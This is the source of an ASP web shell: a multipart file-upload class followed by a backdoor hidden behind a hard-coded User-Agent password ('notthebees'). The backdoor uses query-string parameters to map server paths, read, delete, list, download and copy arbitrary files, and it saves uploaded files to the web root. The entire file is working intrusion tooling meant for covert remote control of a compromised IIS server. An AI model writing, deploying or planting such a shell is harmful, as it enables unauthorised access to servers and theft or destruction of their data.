<% ' upload class stuff Class FileUploader Public Files Private mcolFormElem Private Sub Class_Initialize() Set Files = Server.CreateObject("Scripting.Dictionary") Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") End Sub Private Sub Class_Terminate() If IsObject(Files) Then Files.RemoveAll() Set Files = Nothing End If If IsObject(mcolFormElem) Then mcolFormElem.RemoveAll() Set mcolFormElem = Nothing End If End Sub Public Property Get Form(sIndex) Form = "" If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) End Property Public Default Sub Upload() Dim biData, sInputName Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos Dim nPosFile, nPosBound biData = Request.BinaryRead(Request.TotalBytes) nPosBegin = 1 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) If (nPosEnd-nPosBegin) <= 0 Then Exit Sub vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) nDataBoundPos = InstrB(1, biData, vDataBounds) Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) nPos = InstrB(nPos, biData, CByteString("name=")) nPosBegin = nPos + 6 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) nPosBound = InstrB(nPosEnd, biData, vDataBounds) If nPosFile <> 0 And nPosFile < nPosBound Then Dim oUploadFile, sFileName Set oUploadFile = New UploadedFile nPosBegin = nPosFile + 10 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) nPosBegin = nPos + 14 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosBegin = nPosEnd+4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile Else nPos = InstrB(nPos, biData, CByteString(Chr(13))) nPosBegin = nPos + 4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) End If nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) Loop End Sub 'String to byte string conversion Private Function CByteString(sString) Dim nIndex For nIndex = 1 to Len(sString) CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) Next End Function 'Byte string to string conversion Private Function CWideString(bsString) Dim nIndex CWideString ="" For nIndex = 1 to LenB(bsString) CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) Next End Function End Class Class UploadedFile Public ContentType Public FileName Public FileData Public Property Get FileSize() FileSize = LenB(FileData) End Property Public Sub SaveToDisk(sPath) Dim oFS, oFile Dim nIndex If sPath = "" Or FileName = "" Then Exit Sub If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" Set oFS = Server.CreateObject("Scripting.FileSystemObject") If Not oFS.FolderExists(sPath) Then Exit Sub Set oFile = oFS.CreateTextFile(sPath & FileName, True) For nIndex = 1 to LenB(FileData) oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) Next oFile.Close End Sub End Class ' set a password to keep prying eyes away dim ua set ua = Request.ServerVariables("HTTP_USER_AGENT") if ua = "notthebees" then ' code here for the site dim notthe,bees,delme,listme,dwlme,cpsource,cpdest ' server path info Set notthe = Request.QueryString("notthe") if notthe = "" Then Response.Write("Nothing set for notthe
") else Response.Write(Server.MapPath(Request.QueryString("notthe")) & "
") end if ' file reading Set bees = Request.QueryString("bees") if bees = "" then Response.Write("Nothing set for bees
") else Set FS = Server.CreateObject("Scripting.FileSystemObject") Set RS = FS.OpenTextFile(Request.QueryString("bees"),1) Response.Write("

") end if ' file deletion Set delme = Request.QueryString("delme") if delme = "" Then Response.Write("Nothing set for delme
") else dim filesys Set filesys = CreateObject("Scripting.FileSystemObject") filesys.DeleteFile(Request.QueryString("delme")) Response.Write("File deleted
") end if ' list directories Set listme = Request.QueryString("listme") if listme = "" Then Response.Write("Nothing set for listme
") else Dim fso, folder, files,colSubFolders Set fso = CreateObject("Scripting.FileSystemObject") Set folder = fso.GetFolder(Request.QueryString("listme")) Set files = folder.Files For each folderIdx In files Response.Write(" " & folderIdx.Name & " Size: " & folderIdx.Size & "
") Next Response.Write("Folders:
") Set colSubfolders = folder.Subfolders For Each objSubfolder in colSubfolders Response.Write(" " & objSubfolder.Name & "
") Next end if ' download files Set dwlme = Request.QueryString("dwlme") if dwlme = "" Then Response.Write("Nothing set for dwlme
") else Response.ContentType = "application/asp-unknown" Response.AddHeader "content-disposition","attachment; filename=" & dwlme Set FStream = Server.CreateObject("ADODB.Stream") FStream.Open() FStream.Type = 1 FStream.LoadFromFile(dwlme) Response.BinaryWrite FStream.Read() FStream.Close Set FStream = Nothing Response.End end if ' copy files Set cpsource = Request.QueryString("cpsource") if cpsource = "" Then Response.Write("Nothing set for cpsource
") else dim filesysop Set filesysop = CreateObject("Scripting.FileSystemObject") filesysop.CopyFile Request.QueryString("cpsource"),Request.QueryString("cpdest"),1 Response.Write("File has been copied from
" & Request.QueryString("cpsource") & " to " & Request.QueryString("cpdest") & "
") end if ' finally the file upload section Dim Uploader, File Set Uploader = New FileUploader Uploader.Upload() Response.Expires = -1 Server.ScriptTimeOut = 30 If Uploader.Files.Count = 0 Then Response.Write "File not uploaded." Else For Each File In Uploader.Files.Items File.SaveToDisk Server.MapPath("/") Next End if Else Response.Write("YOU SHALL NOT PASS!") end if %>
File To Upload: